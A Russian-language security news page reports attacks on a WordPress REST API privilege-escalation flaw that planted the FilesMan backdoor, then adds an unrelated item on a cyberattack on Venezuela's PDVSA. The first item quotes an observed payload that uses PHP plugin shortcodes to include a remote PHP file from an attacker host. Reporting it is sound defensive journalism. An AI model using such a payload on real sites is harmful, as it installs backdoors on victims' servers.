Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Массовые атаки на свежую уязвимость в WordPress REST API, исправленную в конце января 2017 года, продолжаются. На прошлой неделе мы рассказывали, что по данным компании WordFence, уязвимость привлекла внимание как минимум 20 хакерских групп, которым удалось скомпрометировать более 1,5 млн страниц.

В настоящий момент количество пострадавших страниц перевалило за два миллиона, а атаки постепенно становятся серьезнее, как и прогнозировали специалисты.

Напомню, что свежая уязвимость была устранена с выходом WordPress 4.7.2, еще 26 января 2017 года. Баг обнаружили специалисты компании Sucuri, и они описывают его как неавторизованную эскалацию привилегий через REST API. Уязвимости подвержены версии 4.7.0 и 4.7.1. Однако публичное раскрытие информации о проблеме состоялось только неделю спустя, так как разработчики хотели, чтобы как можно больше сайтов спокойно установили обновления, пишет xakep.ru.

Уязвимость позволяет неавторизованному атакующему сформировать специальный запрос, при помощи которого можно будет изменять и удалять содержимое любого поста на целевом сайте. Кроме того, используя шорткоды плагинов, злоумышленник может эксплуатировать и другие уязвимости CMS, которые обычно недоступны даже пользователям с высокими привилегиями. В итоге атакующий может внедрить на страницы сайта SEO-спам, рекламу, и даже исполняемый PHP-код, все зависит от доступных плагинов.

Эксперты компании Sucuri заметили, что от простых дефейсов злоумышленники перешли к попыткам удаленного выполнения произвольного кода. Для этих целей хакеры используют плагины Insert PHP (100 000+ установок), Exec-PHP (100 000+ установок) и им подобные. Такие плагины позволяют внедрять PHP-код в посты, чтобы сделать кастомизацию проще.

Исследователи пишут, что теперь дефейс-сообщения хакеров содержат шорткоды для вышеупомянутых плагинов. То есть добавив к своим дефейсам PHP-код, злоумышленники могут добиться его выполнения. В блоге компании эксперты приводят следующий пример, замеченный ими в ходе изучения атак:

content:»[insert_php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/insert_php]
[php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/php]»,
«id»:»61a»}

Данный пример приводит к скачиванию бэкдора FilesMan и его установке в директорию /wp-content/uploads/.

Теперь специалисты Sucuri рекомендуют администраторам отключить все потенциально опасные плагины и обновиться до WordPress 4.7.2, если они по какой-то причине еще этого не сделали. Исследователи поясняют, что такие атаки – это способ монетизации уязвимости. Тогда как обычными дефейсами много не заработаешь, размещение бекдора на сервере жертвы позволяет злоумышленникам вернуться позже, даже после устранения оригинальной уязвимости, и разместить на скомпрометированном ресурсе SEO-спам, рекламу или малварь.

Государственная компания Венесуэлы приостановила отгрузки из-за кибератаки

Государственная нефтяная компания Венесуэлы Petroleos de Venezuela SA (PDVSA) до сих пор не восстановилась после кибератаки, произошедшей в субботу. Инцидент вывел из строя все административные системы компании и привёл к остановке отгрузки нефти на ключевом терминале Хосе.

Как сообщает агентство Bloomberg со ссылкой на три источника, по состоянию на понедельник восстановительные работы после атаки всё ещё продолжались. Сеть на терминале Хосе оставалась недоступной, из-за чего экспорт нефти был приостановлен.

По данным источников агентства, сотрудникам PDVSA было предписано отключить компьютеры, любое внешнее оборудование, а также разорвать соединение с интернетом, включая Wi-Fi и терминалы Starlink. Кроме того, на объектах компании были усилены меры физической безопасности.

В самой PDVSA в понедельник заявили о нейтрализации «попытки саботажа». В официальном сообщении подчёркивается, что добыча нефти в результате инцидента не пострадала.

Источники Bloomberg отмечают, что атака могла быть связана с эксплуатацией уязвимостей. Из-за американских санкций лицензии на программное обеспечение в компании долгое время не обновлялись. Кроме того, ранее PDVSA не сталкивалась с серьёзными киберинцидентами — атаки, как правило, ограничивались DDoS и попытками дефейса сайтов.

Схожий инцидент в марте был зафиксирован в российской нефтяной компании «Лукойл». По оценкам экспертов, атака, вероятно, была связана с деятельностью программ-вымогателей, за которыми стояли финансово мотивированные группировки вроде LockBit или Black Cat.

RSS: Новости на портале Anti-Malware.ru